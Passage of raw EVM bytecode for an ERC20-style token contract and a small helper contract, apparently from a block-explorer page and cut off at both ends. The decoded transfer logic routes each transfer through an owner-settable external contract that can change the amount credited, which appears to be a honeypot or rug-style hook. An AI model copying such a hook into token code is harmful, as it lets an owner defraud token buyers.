0000000000000000000008152600401610c2990611ffd565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca29061208f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1190612121565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610df89190611b39565b60405180910390a3505050565b6000610e11848461094f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e8b5781811015610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e749061218d565b60405180910390fd5b610e8a8484848403610c3c565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef79061221f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906122b1565b60405180910390fd5b610f7a838383611671565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff890612343565b60405180910390fd5b600b60009054906101000a900460ff161561119257600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110c25750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561118d5743600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f906123fb565b60405180910390fd5b43600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61124f565b6000600590506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8787876040518463ffffffff1660e01b81526004016111f99392919061241b565b6020604051808303816000875af1158015611218573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123c919061247e565b9050801561124c57600a54820391505b50505b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161133f9190611b39565b60405180910390a3611352848484611676565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113be9061251d565b60405180910390fd5b6113d382600083611671565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561145a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611451906125af565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161150e9190611b39565b60405180910390a361152283600084611676565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61166c8363a9059cbb60e01b848460405160240161160a9291906125cf565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061167b565b505050565b505050565b505050565b60006116dd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166117439092919063ffffffff16565b90506000815114806116ff5750808060200190518101906116fe919061247e565b5b61173e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117359061266a565b60405180910390fd5b505050565b6060611752848460008561175b565b90509392505050565b6060824710156117a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611797906126fc565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516117c99190612763565b60006040518083038185875af1925050503d8060008114611806576040519150601f19603f3d011682016040523d82523d6000602084013e61180b565b606091505b509150915061181c87838387611828565b92505050949350505050565b6060831561188a576000835103611882576118428561189d565b611881576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611878906127c6565b60405180910390fd5b5b829050611895565b61189483836118c0565b5b949350505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b6000825111156118d35781518083602001fd5b806040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190791906119a0565b60405180910390fd5b600081519050919050565b600082825260208201905092915050565b60005b8381101561194a57808201518184015260208101905061192f565b60008484015250505050565b6000601f19601f8301169050919050565b600061197282611910565b61197c818561191b565b935061198c81856020860161192c565b61199581611956565b840191505092915050565b600060208201905081810360008301526119ba8184611967565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6119f0816119c7565b81146119fb57600080fd5b50565b600081359050611a0d816119e7565b92915050565b600060208284031215611a2957611a286119c2565b5b6000611a37848285016119fe565b91505092915050565b6000611a4b826119c7565b9050919050565b611a5b81611a40565b8114611a6657600080fd5b50565b600081359050611a7881611a52565b92915050565b6000819050919050565b611a9181611a7e565b8114611a9c57600080fd5b50565b600081359050611aae81611a88565b92915050565b60008060408385031215611acb57611aca6119c2565b5b6000611ad985828601611a69565b9250506020611aea85828601611a9f565b9150509250929050565b60008115159050919050565b611b0981611af4565b82525050565b6000602082019050611b246000830184611b00565b92915050565b611b3381611a7e565b82525050565b6000602082019050611b4e6000830184611b2a565b92915050565b600080600060608486031215611b6d57611b6c6119c2565b5b6000611b7b86828701611a69565b9350506020611b8c86828701611a69565b9250506040611b9d86828701611a9f565b9150509250925092565b600060ff82169050919050565b611bbd81611ba7565b82525050565b6000602082019050611bd86000830184611bb4565b92915050565b600060208284031215611bf457611bf36119c2565b5b6000611c0284828501611a9f565b91505092915050565b600060208284031215611c2157611c206119c2565b5b6000611c2f84828501611a69565b91505092915050565b611c4181611a40565b82525050565b6000602082019050611c5c6000830184611c38565b92915050565b6000819050919050565b6000611c87611c82611c7d846119c7565b611c62565b6119c7565b9050919050565b6000611c9982611c6c565b9050919050565b6000611cab82611c8e565b9050919050565b611cbb81611ca0565b82525050565b6000602082019050611cd66000830184611cb2565b92915050565b60008060408385031215611cf357611cf26119c2565b5b6000611d0185828601611a69565b9250506020611d1285828601611a69565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d6357607f821691505b602082108103611d7657611d75611d1c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611db682611a7e565b9150611dc183611a7e565b9250828201905080821115611dd957611dd8611d7c565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611e3b60258361191b565b9150611e4682611ddf565b604082019050919050565b60006020820190508181036000830152611e6a81611e2e565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000611ea760178361191b565b9150611eb282611e71565b602082019050919050565b60006020820190508181036000830152611ed681611e9a565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f3960268361191b565b9150611f4482611edd565b604082019050919050565b60006020820190508181036000830152611f6881611f2c565b9050919050565b600081519050611f7e81611a88565b92915050565b600060208284031215611f9a57611f996119c2565b5b6000611fa884828501611f6f565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611fe760208361191b565b9150611ff282611fb1565b602082019050919050565b6000602082019050818103600083015261201681611fda565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061207960248361191b565b91506120848261201d565b604082019050919050565b600060208201905081810360008301526120a88161206c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061210b60228361191b565b9150612116826120af565b604082019050919050565b6000602082019050818103600083015261213a816120fe565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612177601d8361191b565b915061218282612141565b602082019050919050565b600060208201905081810360008301526121a68161216a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061220960258361191b565b9150612214826121ad565b604082019050919050565b60006020820190508181036000830152612238816121fc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061229b60238361191b565b91506122a68261223f565b604082019050919050565b600060208201905081810360008301526122ca8161228e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061232d60268361191b565b9150612338826122d1565b604082019050919050565b6000602082019050818103600083015261235c81612320565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006123e560498361191b565b91506123f082612363565b606082019050919050565b60006020820190508181036000830152612414816123d8565b9050919050565b60006060820190506124306000830186611c38565b61243d6020830185611c38565b61244a6040830184611b2a565b949350505050565b61245b81611af4565b811461246657600080fd5b50565b60008151905061247881612452565b92915050565b600060208284031215612494576124936119c2565b5b60006124a284828501612469565b91505092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061250760218361191b565b9150612512826124ab565b604082019050919050565b60006020820190508181036000830152612536816124fa565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061259960228361191b565b91506125a48261253d565b604082019050919050565b600060208201905081810360008301526125c88161258c565b9050919050565b60006040820190506125e46000830185611c38565b6125f16020830184611b2a565b9392505050565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b6000612654602a8361191b565b915061265f826125f8565b604082019050919050565b6000602082019050818103600083015261268381612647565b9050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b60006126e660268361191b565b91506126f18261268a565b604082019050919050565b60006020820190508181036000830152612715816126d9565b9050919050565b600081519050919050565b600081905092915050565b600061273d8261271c565b6127478185612727565b935061275781856020860161192c565b80840191505092915050565b600061276f8284612732565b915081905092915050565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b60006127b0601d8361191b565b91506127bb8261277a565b602082019050919050565b600060208201905081810360008301526127df816127a3565b905091905056fea26469706673582212205cdd624ed0adfb33215482babac14c63878f7acf0d9a8c6e98ab00d9b9a54f6f64736f6c63430008130033608060405234801561001057600080fd5b50610245806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063e1f21c6714610030575b600080fd5b61004a60048036038101906100459190610186565b610060565b60405161005791906101f4565b60405180910390f35b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061011d826100f2565b9050919050565b61012d81610112565b811461013857600080fd5b50565b60008135905061014a81610124565b92915050565b6000819050919050565b61016381610150565b811461016e57600080fd5b50565b6000813590506101808161015a565b92915050565b60008060006060848603121561019f5761019e6100ed565b5b60006101ad8682870161013b565b93505060206101be8682870161013b565b92505060406101cf86828701610171565b9150509250925092565b60008115159050919050565b6101ee816101d9565b82525050565b600060208201905061020960008301846101e5565b9291505056fea26469706673582212206d04f46b109617aed6068fea6f7f9ea385e5fa84698230f788594cfcccb6a22a64736f6c63430008130033000000000000000000000000ff7bba1d163f9c8ea28bfe59fefc4d3f3631c843

Deployed Bytecode

0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c876d0b91161006f578063c876d0b914610410578063c9567bf91461043b578063dd62ed3e14610452578063e164f60c1461048f578063f2fde38b146104ba578063f9d0831a146104e357610135565b80638da5cb5b1461031557806395d89b4114610340578063a457c2d71461036b578063a9059cbb146103a8578063c349f8e2146103e557610135565b8063313ce567116100f2578063313ce56714610230578063395093511461025b57806342966c681461029857806370a08231146102c1578063715018a6146102fe57610135565b806306fdde0314610137578063070da00b14610162578063095ea7b31461018b57806318160ddd146101c857806323b872dd146101f357610135565b3661013557005b005b34801561014357600080fd5b5061014c61050c565b60405161015991906119a0565b60405180910390f35b34801561016e57600080fd5b5061018960048036038101906101849190611a13565b61059e565b005b34801561019757600080fd5b506101b260048036038101906101ad9190611ab4565b6105ea565b6040516101bf9190611b0f565b60405180910390f35b3480156101d457600080fd5b506101dd61060d565b6040516101ea9190611b39565b60405180910390f35b3480156101ff57600080fd5b5061021a60048036038101906102159190611b54565b610617565b6040516102279190611b0f565b60405180910390f35b34801561023c57600080fd5b50610245610646565b6040516102529190611bc3565b60405180910390f35b34801561026757600080fd5b50610282600480360381019061027d9190611ab4565b61064f565b60405161028f9190611b0f565b60405180910390f35b3480156102a457600080fd5b506102bf60048036038101906102ba9190611bde565b610686565b005b3480156102cd57600080fd5b506102e860048036038101906102e39190611c0b565b61069a565b6040516102f59190611b39565b60405180910390f35b34801561030a57600080fd5b506103136106e3565b005b34801561032157600080fd5b5061032a6106f7565b6040516103379190611c47565b60405180910390f35b34801561034c57600080fd5b50610355610720565b60405161036291906119a0565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d9190611ab4565b6107b2565b60405161039f9190611b0f565b60405180910390f35b3480156103b457600080fd5b506103cf60048036038101906103ca9190611ab4565b610829565b6040516103dc9190611b0f565b60405180910390f35b3480156103f157600080fd5b506103fa61084c565b6040516104079190611cc1565b60405180910390f35b34801561041c57600080fd5b50610425610872565b6040516104329190611b0f565b60405180910390f35b34801561044757600080fd5b50610450610885565b005b34801561045e57600080fd5b5061047960048036038101906104749190611cdc565b61094f565b6040516104869190611b39565b60405180910390f35b34801561049b57600080fd5b506104a46109d6565b6040516104b19190611b0f565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc9190611c0b565b6109e9565b005b3480156104ef57600080fd5b5061050a60048036038101906105059190611c0b565b610a6c565b005b60606004805461051b90611d4b565b80601f016020809104026020016040519081016040528092919081815260200182805461054790611d4b565b80156105945780601f1061056957610100808354040283529160200191610594565b820191906000526020600020905b81548152906001019060200180831161057757829003601f168201915b5050505050905090565b6105a6610bb6565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105f5610c34565b9050610602818585610c3c565b600191505092915050565b6000600354905090565b600080610622610c34565b905061062f858285610e05565b61063a858585610e91565b60019150509392505050565b60006009905090565b60008061065a610c34565b905061067b81858561066c858961094f565b6106769190611dab565b610c3c565b600191505092915050565b610697610691610c34565b82611358565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106eb610bb6565b6106f56000611527565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461072f90611d4b565b80601f016020809104026020016040519081016040528092919081815260200182805461075b90611d4b565b80156107a85780601f1061077d576101008083540402835291602001916107a8565b820191906000526020600020905b81548152906001019060200180831161078b57829003601f168201915b5050505050905090565b6000806107bd610c34565b905060006107cb828661094f565b905083811015610810576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080790611e51565b60405180910390fd5b61081d8286868403610c3c565b60019250505092915050565b600080610834610c34565b9050610841818585610e91565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900460ff1681565b61088d610bb6565b600860149054906101000a900460ff16156108dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d490611ebd565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860146101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660149054906101000a900460ff1681565b6109f1610bb6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5790611f4f565b60405180910390fd5b610a6981611527565b50565b610a74610bb6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610afb57610ab0610c34565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610af5573d6000803e3d6000fd5b50610bb3565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b3b9190611c47565b602060405180830381865afa158015610b58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7c9190611f84565b9050610bb0610b89610c34565b828473ffffffffffffffffffffffffffffffffffffffff166115eb9092919063ffffffff16565b50505b50565b610bbe610c34565b73ffffffffffffffffffffffffffffffffffffffff16610bdc6106f7565b73ffffffffffffffffffffffffffffffffffffffff1614610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990611ffd565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca29061208f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1190612121565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610df89190611b39565b60405180910390a3505050565b6000610e11848461094f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e8b5781811015610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e749061218d565b60405180910390fd5b610e8a8484848403610c3c565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef79061221f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906122b1565b60405180910390fd5b610f7a838383611671565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff890612343565b60405180910390fd5b600b60009054906101000a900460ff161561119257600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110c25750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561118d5743600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f906123fb565b60405180910390fd5b43600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61124f565b6000600590506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8787876040518463ffffffff1660e01b81526004016111f99392919061241b565b6020604051808303816000875af1158015611218573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123c919061247e565b9050801561124c57600a54820391505b50505b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161133f9190611b39565b60405180910390a3611352848484611676565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113be9061251d565b60405180910390fd5b6113d382600083611671565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561145a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611451906125af565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161150e9190611b39565b60405180910390a361152283600084611676565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61166c8363a9059cbb60e01b848460405160240161160a9291906125cf565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061167b565b505050565b505050565b505050565b60006116dd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166117439092919063ffffffff16565b90506000815114806116ff5750808060200190518101906116fe919061247e565b5b61173e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117359061266a565b60405180910390fd5b505050565b6060611752848460008561175b565b90509392505050565b6060824710156117a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611797906126fc565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516117c99190612763565b60006040518083038185875af1925050503d8060008114611806576040519150601f19603f3d011682016040523d82523d6000602084013e61180b565b606091505b509150915061181c87838387611828565b92505050949350505050565b6060831561188a576000835103611882576118428561189d565b611881576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611878906127c6565b60405180910390fd5b5b829050611895565b61189483836118c0565b5b949350505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b6000825111156118d35781518083602001fd5b806040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190791906119a0565b60405180910390fd5b600081519050919050565b600082825260208201905092915050565b60005b8381101561194a57808201518184015260208101905061192f565b60008484015250505050565b6000601f19601f8301169050919050565b600061197282611910565b61197c818561191b565b935061198c81856020860161192c565b61199581611956565b840191505092915050565b600060208201905081810360008301526119ba8184611967565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6119f0816119c7565b81146119fb57600080fd5b50565b600081359050611a0d816119e7565b92915050565b600060208284031215611a2957611a286119c2565b5b6000611a37848285016119fe565b91505092915050565b6000611a4b826119c7565b9050919050565b611a5b81611a40565b8114611a6657600080fd5b50565b600081359050611a7881611a52565b92915050565b6000819050919050565b611a9181611a7e565b8114611a9c57600080fd5b50565b600081359050611aae81611a88565b92915050565b60008060408385031215611acb57611aca6119c2565b5b6000611ad985828601611a69565b9250506020611aea85828601611a9f565b9150509250929050565b60008115159050919050565b611b0981611af4565b82525050565b6000602082019050611b246000830184611b00565b92915050565b611b3381611a7e565b82525050565b6000602082019050611b4e6000830184611b2a565b92915050565b600080600060608486031215611b6d57611b6c6119c2565b5b6000611b7b86828701611a69565b9350506020611b8c86828701611a69565b9250506040611b9d86828701611a9f565b9150509250925092565b600060ff82169050919050565b611bbd81611ba7565b82525050565b6000602082019050611bd86000830184611bb4565b92915050565b600060208284031215611bf457611bf36119c2565b5b6000611c0284828501611a9f565b91505092915050565b600060208284031215611c2157611c206119c2565b5b6000611c2f84828501611a69565b91505092915050565b611c4181611a40565b82525050565b6000602082019050611c5c6000830184611c38565b92915050565b6000819050919050565b6000611c87611c82611c7d846119c7565b611c62565b6119c7565b9050919050565b6000611c9982611c6c565b9050919050565b6000611cab82611c8e565b9050919050565b611cbb81611ca0565b82525050565b6000602082019050611cd66000830184611cb2565b92915050565b60008060408385031215611cf357611cf26119c2565b5b6000611d0185828601611a69565b9250506020611d1285828601611a69565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d6357607f821691505b602082108103611d7657611d75611d1c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611db682611a7e565b9150611dc183611a7e565b9250828201905080821115611dd957611dd8611d7c565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611e3b60258361191b565b9150611e4682611ddf565b604082019050919050565b60006020820190508181036000830152611e6a81611e2e565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000611ea760178361191b565b9150611eb282611e71565b602082019050919050565b60006020820190508181036000830152611ed681611e9a565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f3960268361191b565b9150611f4482611edd565b604082019050919050565b60006020820190508181036000830152611f6881611f2c565b9050919050565b600081519050611f7e81611a88565b92915050565b600060208284031215611f9a57611f996119c2565b5b6000611fa884828501611f6f565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611fe760208361191b565b9150611ff282611fb1565b602082019050919050565b6000602082019050818103600083015261201681611fda565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061207960248361191b565b91506120848261201d565b604082019050919050565b600060208201905081810360008301526120a88161206c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061210b60228361191b565b9150612116826120af565b604082019050919050565b6000602082019050818103600083015261213a816120fe565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612177601d8361191b565b915061218282612141565b602082019050919050565b600060208201905081810360008301526121a68161216a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061220960258361191b565b9150612214826121ad565b604082019050919050565b60006020820190508181036000830152612238816121fc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061229b60238361191b565b91506122a68261223f565b604082019050919050565b600060208201905081810360008301526122ca8161228e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061232d60268361191b565b9150612338826122